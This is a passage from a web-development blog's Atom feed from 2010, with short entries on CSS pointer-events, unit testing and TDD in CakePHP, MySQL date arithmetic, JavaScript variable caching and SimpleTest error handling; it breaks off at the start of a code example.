&lt;p&gt;I had never heard of this joins key before today, but it is quite handy, I guess
I&#39;ll use it again.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Allow click through an HTML element</title>
    <link href="https://blog.pixelastic.com/2010/07/23/click-html-element/"/>
    <updated>2010-07-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/07/23/click-html-element</id>
    <content type="html">&lt;p&gt;When one HTML element is over another one (like when positioning an element
using &lt;code&gt;position:absolute&lt;/code&gt;), you usually can&#39;t click through the top element to
access the bottom element.&lt;/p&gt;
&lt;p&gt;That&#39;s used as a common technique to prevent the right click on images by some
sites (like Flickr). They just add an empty transparent div over their images to
prevent the lambda user from right clicking and saving the image.&lt;/p&gt;
&lt;p&gt;Sometimes, when integrating complex designs, you need those additional layers,
but you also want the user to be able to click through them, as if they weren&#39;t
there.&lt;/p&gt;
&lt;p&gt;Just use the &lt;code&gt;pointer-events:none&lt;/code&gt; css property to allow click events to go
through the element.&lt;/p&gt;
&lt;p&gt;This is only supported by Firefox 3.6+, Chrome and Safari for now.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Beginner&#39;s introduction to Unit Testing and TDD</title>
    <link href="https://blog.pixelastic.com/2010/07/23/beginner-s-introduction-to-unit-testing-and-tdd/"/>
    <updated>2010-07-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/07/23/beginner-s-introduction-to-unit-testing-and-tdd</id>
    <content type="html">&lt;p&gt;I first heard of TDD and Unit Testing one year ago, by reading discussions about
cakePHP. Cake was boasting about its complete testing.&lt;/p&gt;
&lt;p&gt;Back in these days I only had a vague understanding of what that meant. I
guessed it was a way to prove that the code you wrote did not have any bug, or
if it had, you could find them easily and make sure that you did not break
existing code with a new release.&lt;/p&gt;
&lt;p&gt;That sounded exciting and I tried to write some tests for my own app. I gave up
really quickly as I found that you need both a good understanding of the inner
workings of cake and some familiarity with testing before being able to write
tests.&lt;/p&gt;
&lt;p&gt;Some weeks ago, I decided to gave it another try. This time I started by reading
more general concepts about the whole testing thing before writing anything.
That&#39;s how I learned that Unit Testing and TDD are two different thing, the
former leading to the latter.&lt;/p&gt;
&lt;h2&gt;So, what exactly is Unit Testing?&lt;/h2&gt;
&lt;p&gt;A Unit Test is a simple test (function) you write that will test that one tiny
little part of your whole application is doing what it is supposed to do. Most
of the time, you&#39;ll end up testing one particular method of one particular
class. You pass a specified input parameter to you function, and you test that
the returned value is the one you were expecting.&lt;/p&gt;
&lt;p&gt;Unit Testing is &lt;em&gt;just&lt;/em&gt; that: writing automated tests for methods you wrote.
You&#39;ll then have to run all your tests and you&#39;ll be able to spot in a matter of
seconds which tests failed, and thus see where a bug occured. Testing this way
is order of magnitude faster than manually testing your app, one page at a time.&lt;/p&gt;
&lt;p&gt;Before learning what Unit Testing was, I was writing my methods whenever I
needed them and just assumed that they were bugless. Now, I can write a test to
formerly prove that they are. And I can even re-run this same test every time I
refactor my code to see if my refactoring did not broke any previous behavior.&lt;/p&gt;
&lt;p&gt;The more precise your tests are, the easier it will be for you to debug where
the bug is coming from.&lt;/p&gt;
&lt;h2&gt;And what is Test Driven Development?&lt;/h2&gt;
&lt;p&gt;TDD is a whole new way of writing code. Instead of writing your method then
write the test for it, you write the test before. You can even write several
tests before, in fact as much as you can think of.&lt;/p&gt;
&lt;p&gt;It forces you to conceptualise (in your head) what you exactly want your method
to do. What inputs should be accepted, what should be returned, what are the
edge cases, what arguments are optional, etc.&lt;/p&gt;
&lt;p&gt;Once you&#39;ve done all this, you just write the tests for each of this things.
Test your method with a specifically formatted input, and check the expected
result. Do that for every edge case you can think of. Then, run the tests. It
will fail, because you haven&#39;t even started writing the method. But that&#39;s ok,
and should I say, that&#39;s the goal.&lt;/p&gt;
&lt;p&gt;Now you have a set of rules, kinda like specs. You know what your method should
do because you&#39;ve written that down with your tests. You can start writing your
method, and you&#39;ll know that you haven&#39;t finished it until all the tests passes.
Thanks to the tests, you&#39;ll know for sure when you&#39;re done on a specific method.&lt;/p&gt;
&lt;p&gt;Thanks to TDD, you&#39;ll have a precise measure of where you are in the development
cycle. If all your code is test covered and that you only add new code that is
also covered, you can release you app as often as you want.&lt;/p&gt;
&lt;h2&gt;And how is it good for me?&lt;/h2&gt;
&lt;p&gt;First of all, you will know for sure when you&#39;re done working on a method. If
all the tests passes, you&#39;re good. If at least one test fails, it means that you
can&#39;t still use this method in production because it may have undesirable side
effects.&lt;/p&gt;
&lt;p&gt;it will force you to better think about what you really want to do before
writing anything. I used to rarely take time to stop and think, but instead
rushed into writing code to &amp;quot;make it work&amp;quot;. Now, I&#39;m spending more time with a
pen an paper before, writing down all I want my method to do.&lt;/p&gt;
&lt;p&gt;I didn&#39;t see the benefit of it at first, but I forced myself to do it, and it&#39;s
suprising how fast you can see the benefits. It will allow you to see more
easily edge cases you hadn&#39;t thought of, and prepare yourself in consequence.&lt;/p&gt;
&lt;h2&gt;But I spend so much time writing tests, while I could be adding new features instead!&lt;/h2&gt;
&lt;p&gt;Yeah, I thougt that too. Writing tests is a chore. It takes a lot of time,
especially if you&#39;ve never wrote any before (but it gets much easier with
practice).&lt;/p&gt;
&lt;p&gt;Writing tests for an existing app is even more difficult. Most of the time, the
code is not easily testable and will need refactoring to allow testing. While
refactoring code just to test it may seem kind of useless (at least that&#39;s what
I thought), the benefits are huge. You only have to write tests once, and the
debug value it offers you will stay forever. Compare this to the time you&#39;ll
have to spend manually debugging a complicated class.&lt;/p&gt;
&lt;p&gt;Tests are also universal and they act as a pretty good documentation. If you
ever work in a team, tests are a great way to make other people understand what
your code is supposed to do. And if someone else needs to edit your code,
they&#39;ll just have to run the tests to see if they break something.&lt;/p&gt;
&lt;p&gt;It is true that writing testable code and corresponding tests takes time. But it
is not true that you could spend this time on new features. If you don&#39;t write
tests for a feature, how could you tell that it&#39;s bugless? We can just have your
word for it, while when using tests we have a boolean answer to this question.
Tests passes, it works, tests failed, it does not work.&lt;/p&gt;
&lt;p&gt;If you don&#39;t know for sure that a feature is bugless, you&#39;ll never be sure if a
bug won&#39;t appear later and that&#39;s you&#39;ll have to come back and track it down.
Maybe the bug won&#39;t show until one month or two, but you know how hard it is to
debug a two-month old code, even written by yourself.&lt;/p&gt;
&lt;p&gt;With tests, you do yourself a favor, by asserting that you won&#39;t have to get
back to this code later. So yes, it will take longer to write a new feature with
tests, but at least you&#39;ll be able to say &amp;quot;Ok, it&#39;s done, and it&#39;s working&amp;quot;,
while with a feature that hasn&#39;t been tested, you&#39;ll ended up saying &amp;quot;Ok it&#39;s
done, I think it should work. Well, we&#39;ll see...&amp;quot;.&lt;/p&gt;
&lt;h2&gt;You&#39;ve convinced me, I want to start writing tests now.&lt;/h2&gt;
&lt;p&gt;Great!&lt;/p&gt;
&lt;p&gt;First, I discourage you to start and write tests for your whole application
right now. The bigger the app, the faster you&#39;ll be fed up with tests. It&#39;s much
more harder to write tests after, than before. So just write tests for one class
or two at the moment, add new features to your app (using the TDD approach), and
get back to writing tests to the rest of the app later.&lt;/p&gt;
&lt;p&gt;For your firsts tests, you can choose an existing class. I found that models are
the easiest classes to tests. You&#39;ll need fixtures for that, but I won&#39;t detail
it here, the cake documentation is clear enough on the subject. You&#39;ll also have
to create a test case, but again, everything is in the documentation. If it does
not feel clear enough for you, just ask in the comments and I&#39;ll add a more
detailed explanation.&lt;/p&gt;
&lt;p&gt;And now, here are some advices I&#39;ve learned, I thought I could share them with
you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The number of tests you&#39;ll have to write is not dependent on the number of
methods you have in your class. Most of the methods will need several tests,
while some rare methods won&#39;t need any. Just write one test for each outcome
you want to test. The cake Core tests usually make one test method for each
method in the class. I prefer to make several small tests, that way I can more
easily spot the part that is failing.&lt;/li&gt;
&lt;li&gt;You can name your test methods the way you want, they just have to start with
&lt;code&gt;test&lt;/code&gt;. Do not hesitate to be very specific in the method name. I have methods
called &lt;code&gt;test404ErrorIfInvalidUserId&lt;/code&gt; or &lt;code&gt;test404ErrorIfNonExistentuser&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Make calls to &lt;code&gt;App::import()&lt;/code&gt; at the top of your file to load every class
you&#39;ll need.&lt;/li&gt;
&lt;li&gt;Use and abuse the &lt;code&gt;startTest&lt;/code&gt; method. This method is called before every test,
this is a good way to reset vars to make sure one previous test call will not
impact subsequent calls. I got the habit to define a property of the test case
as the object I want to test. For example, when testing a model, I&#39;ll write
something along the lines of:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; startTest&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;model&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ClassRegistry::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;User&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Try to refactor you code to split logic into several small methods, each with
its own goal and logic. This will be easier to test.&lt;/li&gt;
&lt;li&gt;If you have to test code that relies on an external library and make static
calls to it, just wrap the static calls inside a method of your class and mock
(see MockObjects) the method.&lt;/li&gt;
&lt;li&gt;You&#39;ll have to create a test case (extending &lt;code&gt;CakeWebTestCase&lt;/code&gt;) to test view
generation. This test case will be able to make get (using &lt;code&gt;get()&lt;/code&gt;)queries to
your site, and allowing you to test the resulting source code of the page
against regular expression using &lt;code&gt;assertPattern()&lt;/code&gt;/&lt;code&gt;assertNoPattern()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If you have code that rely on &lt;code&gt;exit&lt;/code&gt;, just replace that code to
&lt;code&gt;$this-&amp;gt;_stop()&lt;/code&gt;, it&#39;s a method wrapping &lt;code&gt;exit&lt;/code&gt; that was created just to make
testing easier. If you have code using &lt;code&gt;die()&lt;/code&gt;, then you&#39;re screwed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As I&#39;m also still discovering Unit Testing in cake, I&#39;ll surely post other tips
as I encounter them.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Adding some logic in your MySQL</title>
    <link href="https://blog.pixelastic.com/2010/07/23/adding-some-logic-in-your-mysql/"/>
    <updated>2010-07-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/07/23/adding-some-logic-in-your-mysql</id>
    <content type="html">&lt;p&gt;I&#39;m not an expert in SQL queries, I just know how to do simple queries and the
more advanced options I&#39;ve ever used are &lt;code&gt;DISTINCT&lt;/code&gt;, &lt;code&gt;HAVING&lt;/code&gt; and &lt;code&gt;GROUP BY&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For the project I&#39;m working on, I had to add some logic to my SQL queries, to
concatenate various field and compare them.&lt;/p&gt;
&lt;p&gt;Here is, as a reminder, how I&#39;ve managed to I&#39;ve managed to get the time spent
by comparing two dates:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;TIMESTAMPDIFF(&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;SECOND&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;Timestamp&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;date&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;EndTimestamp&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;date&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;AS&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; timeSpent&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And is practice is never as easy as theory, I didn&#39;t really had a timestamp but
two string fields instead (one &lt;code&gt;date&lt;/code&gt; and one &lt;code&gt;time&lt;/code&gt;), so here&#39;s how I combined
them&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;TIMESTAMPDIFF(&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;SECOND&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;CONCAT&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;Timestamp&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;date&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;Timestamp&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;CONCAT&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;Timestamp&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;date&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;Timestamp&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;AS&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; timeSpent&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Javascript speed tip: reduce variable lookup</title>
    <link href="https://blog.pixelastic.com/2010/07/19/javascript-speed-tip-reduce-variable-lookup/"/>
    <updated>2010-07-19T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/07/19/javascript-speed-tip-reduce-variable-lookup</id>
    <content type="html">&lt;p&gt;It appears that, according to this video, when inside a Javascript function (or
closure), if you want to access a variable, the closer your scope is to this
variable, the faster you&#39;ll get it.&lt;/p&gt;
&lt;p&gt;In simpler words, accessing a global variable (like &lt;code&gt;document&lt;/code&gt;, or &lt;code&gt;window&lt;/code&gt;)
from inside a function will always be slower that accessing a locally defined
variable.&lt;/p&gt;
&lt;p&gt;It also means that, when inside a method of an object, accessing a variable
defined in this method will be faster that accessing a property of the parent
object, which itself will be faster that accessing a global variable.&lt;/p&gt;
&lt;p&gt;So, for example, if you need to access at least twice a global variable like
&lt;code&gt;window&lt;/code&gt; or &lt;code&gt;document&lt;/code&gt; in a method, you&#39;d better cache it in a local variable
first.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; myTestFunction&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; button&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; document&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getElementById&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;button&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; header&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; document&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getElementById&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;header&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;is bad and could be rewritten as:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; myTestFunction&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; doc&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; document&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; button&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; doc&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getElementById&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;button&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; header&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; doc&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getElementById&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;header&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Using a fixture with a model using $useTable in cakePHP</title>
    <link href="https://blog.pixelastic.com/2010/07/15/using-a-fixture-with-a-model-using-usetable-in-cakephp/"/>
    <updated>2010-07-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/07/15/using-a-fixture-with-a-model-using-usetable-in-cakephp</id>
    <content type="html">&lt;p&gt;It seems that if you&#39;re creating a fixture for a model that uses an
unconventional table name, the &lt;code&gt;CakeTestFixture&lt;/code&gt; does not manage to correctly
create the needed table when your test starts.&lt;/p&gt;
&lt;p&gt;In fact, it will try to insert the fixture records into the right table (the one
defined in &lt;code&gt;$useTable&lt;/code&gt;), but won&#39;t have created the table beforehand.&lt;/p&gt;
&lt;p&gt;In fact this is because it will correctly rely on the model &lt;code&gt;$useTable&lt;/code&gt; property
when inserting records but will try to guess the table name based on the model
name when creating the table.&lt;/p&gt;
&lt;p&gt;Anyway, the quick fix I&#39;ve found so far is to define the &lt;code&gt;$table&lt;/code&gt; property of
your fixture to match your model &lt;code&gt;$useTable&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; Client&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt; Model&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $useTable&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;users&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; ClientFixture&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt; CakeTestFixture&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $table&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;users&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&#39;ve filed a bug report as well as suggested a fix to allow cake to
automatically use the correct table.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Catching PHP errors with simpleTest</title>
    <link href="https://blog.pixelastic.com/2010/07/15/catching-php-errors-with-simpletest/"/>
    <updated>2010-07-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/07/15/catching-php-errors-with-simpletest</id>
    <content type="html">&lt;p&gt;I needed to write a test that should fail if the method I was testing triggered
a PHP &lt;code&gt;E_NOTICE&lt;/code&gt; error (namely, an &amp;quot;&lt;em&gt;undefined index&lt;/em&gt;&amp;quot; kind of error).&lt;/p&gt;
&lt;p&gt;SimpleTest provides both &lt;code&gt;expectError()&lt;/code&gt; and &lt;code&gt;expectException()&lt;/code&gt; methods. I have
only been able to make the former work with manually triggered errors (using
&lt;code&gt;trigger_error()&lt;/code&gt;), and the latter only catchs Exceptions.&lt;/p&gt;
&lt;p&gt;After hours of googling, and reading SimpleTest source code, I finally managed
to come up with a solution.&lt;/p&gt;
&lt;h2&gt;Redefining the error handler&lt;/h2&gt;
&lt;p&gt;It still amaze me how awfuly complicated it is to do such a simple thing.
Anyway, the key is to redefine the error handler function so you can
shortcircuit both PHP and SimpleTest on the way they managed errors.&lt;/p&gt;
&lt;p&gt;Doing so you can detect when the code you test produce an error. Based on the
&lt;code&gt;$errno&lt;/code&gt; and &lt;code&gt;$errstr&lt;/code&gt; supplied, you can even filter to exactly the error you&#39;re
looking for.&lt;/p&gt;
&lt;p&gt;Unfortunatly, you&#39;ll be blocked inside your newly defined &lt;code&gt;error_handler&lt;/code&gt;
function. It means you won&#39;t have access to the test, so won&#39;t be able to call
&lt;code&gt;$this-&amp;gt;pass()&lt;/code&gt; nor &lt;code&gt;$this-&amp;gt;fail()&lt;/code&gt;, because &lt;code&gt;$this&lt;/code&gt; does not reference
anything.&lt;/p&gt;
&lt;h2&gt;Throw me out of here&lt;/h2&gt;
&lt;p&gt;The only trick I&#39;ve found to get out of this function and back in the scope of
your test is to throw an Exception. Namely, an &lt;code&gt;ErrorException&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Doing so we can rewrote our test to put the part that is triggering the error
inside a &lt;code&gt;try&lt;/code&gt;/ &lt;code&gt;catch&lt;/code&gt; statement and manually pass or fail the test.&lt;/p&gt;
&lt;h2&gt;Don&#39;t you forget something?&lt;/h2&gt;
&lt;p&gt;One &lt;strong&gt;very&lt;/strong&gt; important thing not to forget here is to restore the
&lt;code&gt;error_handler&lt;/code&gt; to its original value once you won&#39;t need it. If you don&#39;t, you
will surely broke all your subsequent tests because SimpleTest use its own
&lt;code&gt;error_handler&lt;/code&gt; too.&lt;/p&gt;
&lt;p&gt;We have to restore it in two places, both when the code triggered and error /
throw an exception and when it don&#39;t.&lt;/p&gt;
&lt;h2&gt;Cut the speech, show me the code&lt;/h2&gt;
&lt;p&gt;Okay, here&#39;s the code. Don&#39;t forget to adapt the condition in the
&lt;code&gt;error_handler&lt;/code&gt; to match your error.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; testGotUndefinedIndex&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Overriding the error handler&lt;/span&gt;&lt;/span&gt;
